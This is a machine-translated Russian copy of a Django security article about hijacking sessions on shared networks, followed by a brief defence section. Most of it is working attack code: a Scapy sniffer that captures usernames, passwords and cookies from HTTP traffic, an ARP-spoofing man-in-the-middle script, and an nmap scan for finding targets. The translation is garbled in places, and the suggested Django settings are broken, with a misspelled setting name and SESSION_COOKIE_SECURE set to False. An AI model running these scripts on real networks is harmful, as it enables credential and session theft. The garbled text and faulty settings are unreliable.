Hacking Django (7 Часть серии)
Кража учетных данных и сеанс файлов cookie легко, если выполнены следующие условия:
- Целевой пользователь находится в той же сети, что и злоумышленник
- Целевой сайт принимает HTTP-соединения
Например:
Готов к проблеме безопасности Django? Играть наш Задача безопасности Django .
Веб-сайт в примере полностью работает на HTTP-соединении (включая форму входа в систему). Это позволяет использовать следующий код нюхающий пакет, прочитал запросы, используя Скапировка :
# e.g, ./packet_snif --interface=wlp3s0 import argparse import scapy.all as scapy from scapy.layers import http parser = argparse.ArgumentParser() parser.add_argument("-i", "--interface", dest="interface") arguments = parser.parse_args() def process(packet): if packet.haslayer(http.HTTPRequest): if packet.haslayer(scapy.Raw): keys = ["username", "password", "pass", "email"] if any(key in packet[scapy.Raw].load for key in keys): print(packet[scapy.Raw].load) print(packet[http.HTTPRequest].fields.get('Cookie')) scapy.sniff(iface=arguments.interface, store=False, prn=process)
Полезность этой конкретной атаки только ограничена, поскольку она зависит от целевого пользователя на той же машине, что и упаковочный стенд. Тем не менее, а Человек в средней атаке решит, что:
# e.g., ./arp_spoof.py --interface=wlp3s0 --target=192.168.1.13 --gateway=192.168.1.12 import argparse import time import sys import scapy.all as scapy parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", dest="target", help="Specify target ip") parser.add_argument("-g", "--gateway", dest="gateway", help="Specify spoof ip") parser.add_argument("-i", "--interface", dest="interface", help="Specify interface") def get_mac(ip): scapy.conf.verb = 0 packet = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")/scapy.ARP(pdst=ip) ans, unans = scapy.srp(packet, timeout=2, iface=arguments.interface, inter=0.1) for snd, rcv in ans: return rcv.sprintf(r"%Ether.src%") def restore(destination_ip, source_ip): packet = scapy.ARP( op=2, pdst=destination_ip, hwdst=get_mac(destination_ip), psrc=source_ip, hwsrc=get_mac(source_ip), ) scapy.send(packet, 4) def spoof(target_ip, spoof_ip): target_mac = get_mac(target_ip) packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) scapy.send(packet, verbose=False) arguments = parser.parse_args() try: while True: spoof(arguments.target, arguments.gateway) spoof(arguments.gateway, arguments.target) sys.stdout.flush() time.sleep(2) except KeyboardInterrupt: restore(arguments.target,arguments.gateway) restore(arguments.gateway, arguments.target)
Это делает трафик Target Machine через машину злоумышленника, поэтому пакеты жертвы могут быть прочитаны packet_sniffer.py
Отказ
Восстановление IP-адреса цели так же просто, как работает NMAP Указывая на IP-адрес маршрутизатора, все подключены к:
sudo nmap -sn 192.168.1.0/24 # get the router IP from ifconfig
Еще один сценарий оркестровки может облегчить все это:
- петля по подключенным устройствам, о которых сообщается NMAP
- Позвоните ARP_SPOOF.PY для каждого
Злоумышленник может быть на месте сидеть в кафе по комнате сформировать жертву. Может быть, атака еще более организована и спрятала Raspberry Pi в несколько кафе и извленет их в конце дня. Какие шансы кто-то подключился к HTTP-соединению в течение этого времени? Их сеанс cookie будет скомпрометирован. Какие шансы пользователь повторно использовал свой пароль на других сайтах? Для всего этого ответа, безусловно, ненулевой.
Профилактика
Пользователи могут избежать подключения к сетям, которые они не доверяют, но удобство привлекательна, а кафе предлагают бесплатный Wi-Fi, поэтому они идеальная ловушка для медовых.
Сайты лучше помещаются, чтобы предотвратить этот тип атаки:
- Перенаправление HTTP к подключениям HTTPS
- Обеспечение их сеанса cookie не может Переводы через http , потому что файлы cookie через HTTP зашифрованы и не могут быть прочитаны Мой митм
- Предотвратить браузер из Даже пытаясь использовать http
Конкретно с Django это достигается со следующими настройками:
MIDDLWARE = [ "django.middleware.security.SecurityMiddleware", ... ] SECURE_HSTS_SECONDS = 31536000 # 1 year. Prevent browser attempting HTTP SECURE_HSTS_INCLUDE_SUBDOMAINS = True # protect subdomains too SECURE_SSL_REDIRECT = True # redirect HTTP to HTTPS SESSION_COOKIE_SECURE = False # set secure on cookies
Есть ли у вашего сайта уязвимости безопасности?
Со временем это легко для уязвимостей безопасности и технологического долга, чтобы проскользнуть в вашу кодовую базу. Я могу проверить это для вас в django.doctor или может Просмотрите свой GitHUB PRS :
Или попробуйте Рефакторы Django Challenges Отказ
Hacking Django (7 Часть серии)
Оригинал: “https://dev.to/djangodoctor/hacking-django-websites-stealing-sessions-with-packet-sniffing-n9k”